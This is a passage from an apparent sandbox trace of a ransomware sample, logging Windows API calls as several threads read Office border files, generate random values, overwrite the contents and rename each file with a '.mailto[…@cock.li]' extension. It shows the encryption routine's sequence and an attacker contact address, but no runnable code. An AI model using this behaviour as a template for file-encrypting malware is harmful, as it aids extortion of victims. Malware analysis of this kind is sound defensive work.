0x2da5e0a [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x41a167e0 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x551eda69 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x2ea817cc [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x259b7e64 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x4346d56a [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x4341b628 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x37add699 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x135b8c30 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x36f6dcc0 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x7b73b515 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0xfbee09b [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x622995a6 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x48fd963f [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x5892b597 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x2fab890d [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x36d8cca0 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x74b50ff7 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x577b0170 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x585f447f [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x77b4ad2c [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0xcbe22a2 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x5b85e0c4 [0063.728] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x298d5506 [0063.739] ReadFile (in: hFile=0xb94, lpBuffer=0x12cba930, nNumberOfBytesToRead=0x3dac, lpNumberOfBytesRead=0x5a3f8c0, lpOverlapped=0x0 | out: lpBuffer=0x12cba930*, lpNumberOfBytesRead=0x5a3f8c0*=0x3dac, lpOverlapped=0x0) returned 1 [0063.740] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.740] WriteFile (in: hFile=0xb94, lpBuffer=0x4bafd8*, nNumberOfBytesToWrite=0x3dac, lpNumberOfBytesWritten=0x5a3f8bc, lpOverlapped=0x0 | out: lpBuffer=0x4bafd8*, lpNumberOfBytesWritten=0x5a3f8bc*=0x3dac, lpOverlapped=0x0) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce280 [0066.642] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce1b8 [0066.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce1b8) returned 1 [0066.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bafd8) returned 1 [0066.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cba930) returned 1 [0066.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45a58) returned 1 [0066.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4e03c0 [0066.642] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.642] WriteFile (hFile=0xb94, lpBuffer=0x445978, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x5a3f924, lpOverlapped=0x0) Thread: id = 1118 os_tid = 0xa44 [0059.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 0x20 [0063.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR", dwFileAttributes=0x20) returned 1 [0063.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb8c [0063.742] GetFileSizeEx (in: hFile=0xb8c, lpFileSize=0x646f8cc | out: lpFileSize=0x646f8cc*=55222) returned 1 [0063.742] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0xd7b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.742] ReadFile (in: hFile=0xb8c, lpBuffer=0x646f850, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x646f84c, lpOverlapped=0x0 | out: lpBuffer=0x646f850*, lpNumberOfBytesRead=0x646f84c*=0x4, lpOverlapped=0x0) returned 1 [0063.743] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0063.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05368 [0063.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052a0 [0063.743] NtQuerySystemTime (in: CurrentTime=0x646f82c | out: CurrentTime=0x646f82c*=132174898277184000) returned 0x0 [0063.743] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x1c0a5bab [0063.743] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x27b92d9e [0063.743] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x61caa767 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x776e660d [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0xab30db [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x44bf1b95 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0xfa9ff1 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0xbeee5d9 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x7918b65f [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x551978e8 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x31c6d050 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x2bb98398 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x56ec738 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x70551da0 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x3c739104 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x6c610b0 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x7789d46c [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x676fa855 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x24c19c7c [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x263f0113 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x3626bb87 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x63756237 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x34076376 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x7bee691 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x3b4565a1 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x2fd38d57 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x5959e5d7 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x78e09a6c [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x7df5fca8 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x1a03ea74 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x9055b61 [0063.744] RtlRandomEx (in: Seed=0x646f838 | out: Seed=0x646f838) returned 0x19add7f8 [0063.756] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.756] ReadFile (in: hFile=0xb8c, lpBuffer=0x4c77e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x646f80c, lpOverlapped=0x0 | out: lpBuffer=0x4c77e0*, lpNumberOfBytesRead=0x646f80c*=0xc800, lpOverlapped=0x0) returned 1 [0063.758] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4029f0 [0063.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45da0 [0063.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0063.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05138) returned 1 [0063.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9706908 [0063.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0063.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052a0 [0063.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d052a0) returned 1 [0063.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45da0) returned 1 [0063.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0063.764] WriteFile (in: hFile=0xb8c, lpBuffer=0x9706908*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x646f80c, lpOverlapped=0x0 | out: lpBuffer=0x9706908*, lpNumberOfBytesWritten=0x646f80c*=0xc800, lpOverlapped=0x0) returned 1 [0066.712] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9706908) returned 1 [0066.869] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4c77e0) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4e0510 [0066.872] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.872] WriteFile (hFile=0xb8c, lpBuffer=0x12e2bb10, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x646f88c, lpOverlapped=0x0) Thread: id = 1119 os_tid = 0xad8 [0059.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 0x20 [0063.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR", dwFileAttributes=0x20) returned 1 [0063.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb98 [0063.766] GetFileSizeEx (in: hFile=0xb98, lpFileSize=0x7b3fbd8 | out: lpFileSize=0x7b3fbd8*=3876) returned 1 [0063.766] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0xf20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.766] ReadFile (in: hFile=0xb98, lpBuffer=0x7b3fb5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7b3fb58, lpOverlapped=0x0 | out: lpBuffer=0x7b3fb5c*, lpNumberOfBytesRead=0x7b3fb58*=0x4, lpOverlapped=0x0) returned 1 [0063.767] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052a0 [0063.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05250 [0063.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05200 [0063.768] NtQuerySystemTime (in: CurrentTime=0x7b3fb38 | out: CurrentTime=0x7b3fb38*=132174898277496000) returned 0x0 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x3a2629bb [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x3146d03e [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x1a791f2d [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x7fdd70ec [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x24b43be2 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x6a62ff06 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x34facaa2 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x15c6e8fa [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x649434db [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x733136a1 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x5165a704 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x63dcebef [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x670cfce6 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x7f9fa9b9 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x4b92ea26 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x367454bd [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x12532e75 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x5d9f92f0 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x106f6787 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x28fab3b [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x1e35fdd3 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x6cf4bf0d [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x1bf17d8 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x34663e93 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x27c1e4d9 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x14368ada [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x21f615e1 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x4a70ddda [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x69a60ba0 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x4850cdb3 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x7839d6c5 [0063.768] RtlRandomEx (in: Seed=0x7b3fb44 | out: Seed=0x7b3fb44) returned 0x5a51d542 [0063.780] ReadFile (in: hFile=0xb98, lpBuffer=0x9713110, nNumberOfBytesToRead=0xf24, lpNumberOfBytesRead=0x7b3fb34, lpOverlapped=0x0 | out: lpBuffer=0x9713110*, lpNumberOfBytesRead=0x7b3fb34*=0xf24, lpOverlapped=0x0) returned 1 [0063.781] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.781] WriteFile (in: hFile=0xb98, lpBuffer=0x5e54068*, nNumberOfBytesToWrite=0xf24, lpNumberOfBytesWritten=0x7b3fb30, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesWritten=0x7b3fb30*=0xf24, lpOverlapped=0x0) returned 1 [0063.782] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052a0 [0063.782] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05200 [0063.782] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05200) returned 1 [0063.782] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e54068) returned 1 [0063.782] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9713110) returned 1 [0063.782] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45da0) returned 1 [0063.782] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0063.782] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cee70 [0063.783] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.783] WriteFile (in: hFile=0xb98, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x7b3fb98, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x7b3fb98*=0x105, lpOverlapped=0x0) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05200) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d052a0) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05250) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05188) returned 1 [0063.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05160) returned 1 [0063.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00470 [0063.785] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" [0063.785] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.mailto[2Hamlampampom@cock.li].cd46d" [0063.785] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7b3fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x12cf96e0 [0063.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0063.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed3350) returned 1 [0063.787] NtQueryInformationFile (in: FileHandle=0xb98, IoStatusBlock=0x7b3fb5c, FileInformation=0x7b3fb34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7b3fb5c, FileInformation=0x7b3fb34) returned 0x0 [0063.787] NtSetInformationFile (FileHandle=0xb98, IoStatusBlock=0x7b3fb5c, FileInformation=0x7b3fb34, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0063.788] FlushFileBuffers (hFile=0xb98) returned 1 [0066.227] CloseHandle (hObject=0xb98) Thread: id = 1120 os_tid = 0xadc [0059.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 0x20 [0061.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR", dwFileAttributes=0x20) returned 1 [0061.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1278 [0061.899] GetFileSizeEx (in: hFile=0x1278, lpFileSize=0x6a8fd58 | out: lpFileSize=0x6a8fd58*=49098) returned 1 [0061.899] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0xbfc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.899] ReadFile (in: hFile=0x1278, lpBuffer=0x6a8fcdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6a8fcd8, lpOverlapped=0x0 | out: lpBuffer=0x6a8fcdc*, lpNumberOfBytesRead=0x6a8fcd8*=0x4, lpOverlapped=0x0) returned 1 [0061.917] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429200 [0061.917] NtQuerySystemTime (in: CurrentTime=0x6a8fcb8 | out: CurrentTime=0x6a8fcb8*=132174898258932000) returned 0x0 [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x3014179a [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x17f0f7b6 [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x5d17068 [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x7b4e7d0d [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x67bdfe19 [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x44eb650f [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x4c759ca6 [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x72116fbb [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x4b22b80f [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x6d24aed0 [0061.917] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x73f389d [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x6745dd3d [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x157eda48 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x4aef68c7 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x515ed99c [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0xfec55bc [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x4497e455 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x3637c5c9 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x58205e [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0xeb1120f [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x7f8d730c [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x39748088 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x176a9d92 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x2b63875c [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x757ab5a7 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x547b34c8 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x189394fb [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x295da1e6 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x762c5eda [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x1ccb416c [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0x37d3f498 [0061.918] RtlRandomEx (in: Seed=0x6a8fcc4 | out: Seed=0x6a8fcc4) returned 0xc9c0873 [0061.931] ReadFile (in: hFile=0x1278, lpBuffer=0x97b7008, nNumberOfBytesToRead=0xbfca, 